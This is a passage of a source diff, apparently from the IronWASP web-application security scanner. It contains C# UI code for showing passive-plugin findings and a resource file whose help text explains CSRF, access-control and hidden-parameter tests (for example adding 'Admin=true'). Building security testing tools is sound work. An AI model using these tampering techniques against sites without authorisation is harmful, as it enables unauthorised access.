FindingsTree.Nodes.Clear(); + PassivePluginLogRequestView.ClearRequest(); + PassivePluginLogResponseView.ClearResponse(); + PassivePluginScanResultsBottomTabs.SelectTab(0); + + TreeNode RootNode = FindingsTree.Nodes.Add(string.Format("LogId-{0}", LogId), "Click finding to view details"); + TreeNode VulnNode = RootNode.Nodes.Add("Vulnerabilities", "Vulnerabilities"); + TreeNode HighVulnNode = VulnNode.Nodes.Add("High", "High"); + HighVulnNode.ForeColor = Color.Red; + TreeNode MediumVulnNode = VulnNode.Nodes.Add("Medium", "Medium"); + MediumVulnNode.ForeColor = Color.Orange; + TreeNode LowVulnNode = VulnNode.Nodes.Add("Low", "Low"); + LowVulnNode.ForeColor = Color.SteelBlue; + TreeNode InfoNode = RootNode.Nodes.Add("Information", "Information"); + TreeNode TestLeadsNode = RootNode.Nodes.Add("TestLeads", "TestLeads"); + + int FindingCounter = 0; + foreach (Finding F in Fs.GetAll()) + { + FindingCounter++; + switch (F.Type) + { + case(FindingType.Vulnerability): + switch (F.Severity) + { + case(FindingSeverity.High): + HighVulnNode.Nodes.Add(F.Id.ToString(), F.Title); + break; + case (FindingSeverity.Medium): + MediumVulnNode.Nodes.Add(F.Id.ToString(), F.Title); + break; + case (FindingSeverity.Low): + LowVulnNode.Nodes.Add(F.Id.ToString(), F.Title); + break; + } + break; + case (FindingType.Information): + InfoNode.Nodes.Add(F.Id.ToString(), F.Title); + break; + case (FindingType.TestLead): + TestLeadsNode.Nodes.Add(F.Id.ToString(), F.Title); + break; + } + } + RootNode.ExpandAll(); + ResultsDisplayRTB.Text = ""; + } + catch { } + } + + private void FindingsTree_AfterSelect(object sender, TreeViewEventArgs e) + { + try + { + TreeNode Node = FindingsTree.SelectedNode; + if (Node == null) return; + if (Node.Level == 3 || (Node.Level == 2 && (Node.Parent.Index == 1 || Node.Parent.Index == 2))) + { + ResultsDisplayRTB.Text = ""; + int LogId = Int32.Parse(FindingsTree.Nodes[0].Name.Replace("LogId-", "")); + int FindingId = Int32.Parse(Node.Name); + Findings LogFindings = AllFindings[LogId]; + foreach (Finding PR in LogFindings.GetAll()) + { + if (PR.Id == FindingId) + { + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(@" \cf1 Showing preview. Loading more details...... \cf0 \par \par "); + SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(PR.Title)); SB.Append(@"\b0 \fs20 \par \par"); + SB.Append(@" \cf1 \b Plugin: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Plugin)); SB.Append(@" \par"); + if (PR.Type == FindingType.Vulnerability) + { + SB.Append(@" \cf1 \b Severity: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Severity.ToString())); SB.Append(@" \par"); + SB.Append(@" \cf1 \b Confidence: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Confidence.ToString())); SB.Append(@" \par"); + } + SB.Append(@" \par"); + SB.Append(@" \cf1 \b Summary: \b0 \cf0 \par "); + SB.AppendLine(Tools.RtfSafe(PR.Summary)); + SB.Append(@" \par \par"); + ResultsDisplayRTB.Rtf = SB.ToString(); + + if (LogLoadThread != null) + { + try + { + LogLoadThread.Abort(); + } + catch { } + } + LogLoadThread = new Thread(LoadFullFinding); + LogLoadThread.Start(new object[]{PR, Int32.Parse(FindingsTree.Nodes[0].Name.Replace("LogId-", ""))}); + } + } + } + } + catch { } + } + + void LoadFullFinding(Object Args) + { + try + { + object[] ArgsArray = (object[])Args; + Finding F = (Finding) ArgsArray[0]; + int LogId = (int)ArgsArray[1]; + Session Sess = Session.FromLog(LogId, this.LogSource); + + string TriggerHighlighting = ""; + if (F.Triggers.Count > 0) + { + Trigger T = F.Triggers.GetTrigger(0); + T.Request = Sess.Request; + if (Sess.Response != null) T.Response = Sess.Response; + + TriggerHighlighting = Finding.GetTriggerHighlighting(T, F.FinderType, false); + } + ShowFullFinding(F, TriggerHighlighting); + + } + catch(Exception Exp) + { + IronException.Report("Error load Findings from Logs Testers", Exp); + } + } + + delegate void ShowFullFinding_d(Finding F, string TriggerHighlighting); + void ShowFullFinding(Finding F, string TriggerHighlighting) + { + if (ResultsDisplayRTB.InvokeRequired) + { + ShowFullFinding_d CALL_d = new ShowFullFinding_d(ShowFullFinding); + ResultsDisplayRTB.Invoke(CALL_d, new object[] { F, TriggerHighlighting }); + } + else + { + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(F.Title)); SB.Append(@"\b0 \fs20 \par \par"); + SB.Append(@" \cf1 \b Plugin: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(F.Plugin)); SB.Append(@" \par"); + if (F.Type == FindingType.Vulnerability) + { + SB.Append(@" \cf1 \b Severity: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(F.Severity.ToString())); SB.Append(@" \par"); + SB.Append(@" \cf1 \b Confidence: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(F.Confidence.ToString())); SB.Append(@" \par"); + } + SB.Append(@" \par"); + SB.Append(@" \cf1 \b Summary: \b0 \cf0 \par "); + SB.AppendLine(Tools.RtfSafe(F.Summary)); + SB.Append(@" \par \par \par "); + if (F.Triggers.Count > 0) + { + Trigger T = F.Triggers.GetTrigger(0); + SB.Append(Tools.RtfSafe(Finding.GetTriggerHighlighting(T, "PassivePlugin", false))); + if (PassivePluginLogRequestView.GetRequest() == null) + { + if (T.Request != null) + { + PassivePluginLogRequestView.SetRequest(T.Request); + if (T.Response != null) + { + PassivePluginLogResponseView.SetResponse(T.Response, T.Request); + } + } + } + } + ResultsDisplayRTB.Rtf = SB.ToString(); + } + } + + private void PassivePluginScanResultsBottomTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (PassivePluginScanResultsBottomTabs.SelectedIndex == 1) + { + if (FindingsTree.Nodes.Count > 0) + { + if (PassivePluginLogRequestView.GetRequest() == null) + { + try + { + int LogId = Int32.Parse(FindingsTree.Nodes[0].Name.Replace("LogId-", "")); + if (LogLoadThread != null) + { + try + { + LogLoadThread.Abort(); + } + catch { } + } + LogLoadThread = new Thread(LoadPassivePluginResultLog); + LogLoadThread.Start(LogId); + PassivePluginLogTabs.Visible = false; + PassivePluginLogLoadProgressBar.Visible = true; + } + catch{} + } + } + } + } + + void LoadPassivePluginResultLog(object LogIdObj) + { + int LogId = (int)LogIdObj; + try + { + Session Sess = Session.FromLog(LogId, this.LogSource); + PassivePluginLogRequestView.SetRequest(Sess.Request); + if(Sess.Response != null) + PassivePluginLogResponseView.SetResponse(Sess.Response, Sess.Request); + } + catch (Exception Exp) + { + IronException.Report(string.Format("Unable to load {0} log id - {1}", this.LogSource, LogId), Exp); + } + EndPassivePluginLogLoad(); + } + + delegate void EndPassivePluginLogLoad_d(); + void EndPassivePluginLogLoad() + { + if (PassivePluginLogTabs.InvokeRequired) + { + EndPassivePluginLogLoad_d CALL_d = new EndPassivePluginLogLoad_d(EndPassivePluginLogLoad); + PassivePluginLogTabs.Invoke(CALL_d, new object[] { }); + } + else + { + PassivePluginLogTabs.Visible = true; + PassivePluginLogLoadProgressBar.Visible = false; + } + } + + private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SessionPluginsCombo.Items.Clear(); + SessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + } + + private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); + SPCA.Show(); + } + + private void LogsTester_Load(object sender, EventArgs e) + { + SessionPluginsCombo.Items.Clear(); + SessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + } + } +} diff --git a/Iron/LogsTester.resx b/Iron/LogsTester.resx new file mode 100644 index 0000000..3e2edfd --- /dev/null +++ b/Iron/LogsTester.resx @@ -0,0 +1,2074 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Select some or all of the Passive Plugins available with IronWASP and run it on the selected sessions and view the issues reported by the plugins. +Though Passive Plugins are run automatically in the background, this type of scan gives a more fine grained look in to the issues. + + + Can be used for CSRF testing. +In this test a parameter of your choosing is removed, if it exists in the selected Requests and then the edited Request is sent to the server. The Response recieved from the edited test Request is diffed against the Response of the original Request. +You can choose to remove the parameter containing the CSRF token to test for CSRF vulnerablities. + + + Can be used for CSRF testing and Access Control Checks. +In this test a parameter of your choosing is updated with a new value, if it exists in the selected Requests and then the edited Request is sent to the server. The Response recieved from the edited test Request is diffed against the Response of the original Request. +You can set the value the CSRF token to a dummy value to test for CSRF vulnerablities. You can set the Session ID value to that of a low privilleged user to check for Access Control vulnerabilities. + + + Can be used for Hidden Parameter Guessing. +In this test a parameter name and value of your choosing is added to each of the selected Requests and then the edited Request is sent to the server. The Response recieved from the edited test Request is diffed against the Response of the original Request. +You can add parameter name & values like 'Admin=true' or 'logged_in=1' etc and do this test to check for any hidden parameters or backdoors. + + + If you want to handle CSRF tokens, authentication and other custom site behaviours during the test then you can use a Session Plugin. + +To create a Session Plugin use the 'Session Plugin Creation Assistant', it is an GUI based wizard will take the details from you and create the Session Plugin automatically. + + + +You can choose to resend the unedited copy of the original request before sending the edited request. This way you can be sure that any diff is the response is only caused because of the parameter changes you made and not because of any other factors. + + + True + + + True + + + +The list below shows the various plug-in available to check for web application security vulnerabilities by passively analysing the selected logs. + +Select the plug-ins you want to run in this test. + + + + + + iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + vAAADrwBlbxySQAAALhJREFUOE9jOHDgwH9qYgwD9x07+n/fyeMoeD9M7jimHLp+FANBhp1um/j/fEnz + /3NlrWB8Ibfu//7Dh/7vO3Hs/9n6HjS5WgxDUQzce+70/1uWIf8f8xv/fyRqDsZPmTT+7zt65P+ei2f/ + 39P2/P9I0AQu94xR/f+eKxfwG3jDMer/Qynr/w8UHMD4Ma8h0OUQA++YBPx/IGMDl3vCYzBq4KiBowYO + UgOpWjhQvfgCYaoWsJTjA/8BPl2CVwGvgfkAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + vAAADrwBlbxySQAAAlFJREFUOE+dlMlPE2EYxntzC2gE44LrSQ+CoALBNm4HPRD0YmLUm5GYcODiweXm + wSXxYjQx6sEQjcvFgzGosdPZSltKdy0YTarTmf4fj+/71pYO/Sjg4Ukz03l/7/Z8X8A0TbSSEbWhx2PQ + E6TYFAxL/V1NSqBB0pMJhGfzsD9OIvnwGVL3HyP+4jUi6RlouTSMqWhTHKsJaESj0L5lkb1+B+WtQXht + fXA39sPt6Ie34RAqa3vw8+QlRN9/qIIXxPuA3JIZ0fFnzwmCHIaz4yicXcfg7D4+L3rmRJXV3ShcvYlw + Me+D1oGGbcu8vPY+OF0hP0QlAnvtB1G8MC4d+YCcgTOV9p1GeVtQDVCJoDyCxNMJWVwdyA/Tj55LRmVg + K9FYytRRrXUBatkUfoXOw1lJdQ3iMcVfvYNOmw8wVfueg7eeqlu4gGXK3TSI3LXbYrWAYVuwvmpiD9XH + y1F5yxBmz42RR5MEtCwZptfW+98VljcPoXhxHJEUARnGA3U7B+HsJN8pApaS2zmA7K170KepZQZGMjP4 + cWaUDHtEGdBSbJ11B2B/+iI+rtqGTkjs5Vv5Y8VtdwVR6h2pm1uALH4xN3xZNqYMVOmfsa3Jz3IH+IBi + H4L+3nuqCl2qUpp3ZdV+zDx4IsuocepAgdLGtQJVenYUlTU91Znyompw/t0ekpvH7RhAfOKNzL+R4QOy + pNJCRq6nuZErsn22FJ8GnnGpexjZG3eh5dP189uoJmBNfIFydjmjtD0zrMmzls/IieDEqrhFgY3iUfCJ + WgwyLxN/AZ/OOV7eKRoiAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + vAAADrwBlbxySQAAAXhJREFUOE+tlLtqAkEUhqezsbG2sre28gFsrS19gkDQ3BNDLEIgEEkRDASChYU2 + IRAQxOx91cUror7Nn7ODI7uZVVeT4mNZmPMx85+ZwxRFwX8iCW3N9v3vi09oqAZKjRKW3SUszfItDMta + qCoq+nof7IghVo6h9lXD3J5DV3WpaBs+oWM4YCcM7Iqgb/IxiXanjYk5gaZoUnEQwcIb4pq4JIoMmZcM + z3ZoDCXBbzYLBa74gjhjyL/neQw9vSeJBLuFXvE5QbsuN8tY2IvAGxFeKHDFpwzRuyiqn1Uu9jZuf6Fg + 1bjEQwKNVmMtPVwoIqCmFeoFdLXugULRJFqXfc3yK+Vt0n5C95i0o/RzGp3vDsbmmNcJR3jhKq/4fRzN + VhMza7bxBW0XrjoauY2g8lHhb9xUTUniJVgoAqesivUiv8wi9F34hH2DhsMxiUiae8thak3h6I5UtI21 + 0MUdWamnFB9jI3MkBR4Gn9BlYAxCT5YgJOHfUPADUBJXxuOyuckAAAAASUVORK5CYII= + + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + Terminology: +Original Request/Response refers to the Request/Response from the log +Resent Request/Response refers to the original request that was sent again and the response recieved from that +Test Request/Response refers to the request sent after making the parameter manipulation and the response recieved from that + +The top half of this section shows the overview of the test. +Code columns show the response status code and Length columns show the response body length. +Original vs Test, Resent vs Test and Original vs Test columns show the percentage of the difference in those responses. + +When you click on any of the rows in the top then the full details of that particular test are shown in the bottom half section. +Original Session, Resent Session and Test Session contain the corresponding Request and Responses. + +Diff Original vs Resent, Diff Resent vs Test and Diff Original vs Test contain the diff views of the corresponding Requests and Responses. + +Looking at the diffs will help you determine if the parameter manipulation you performed had any effect. + + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 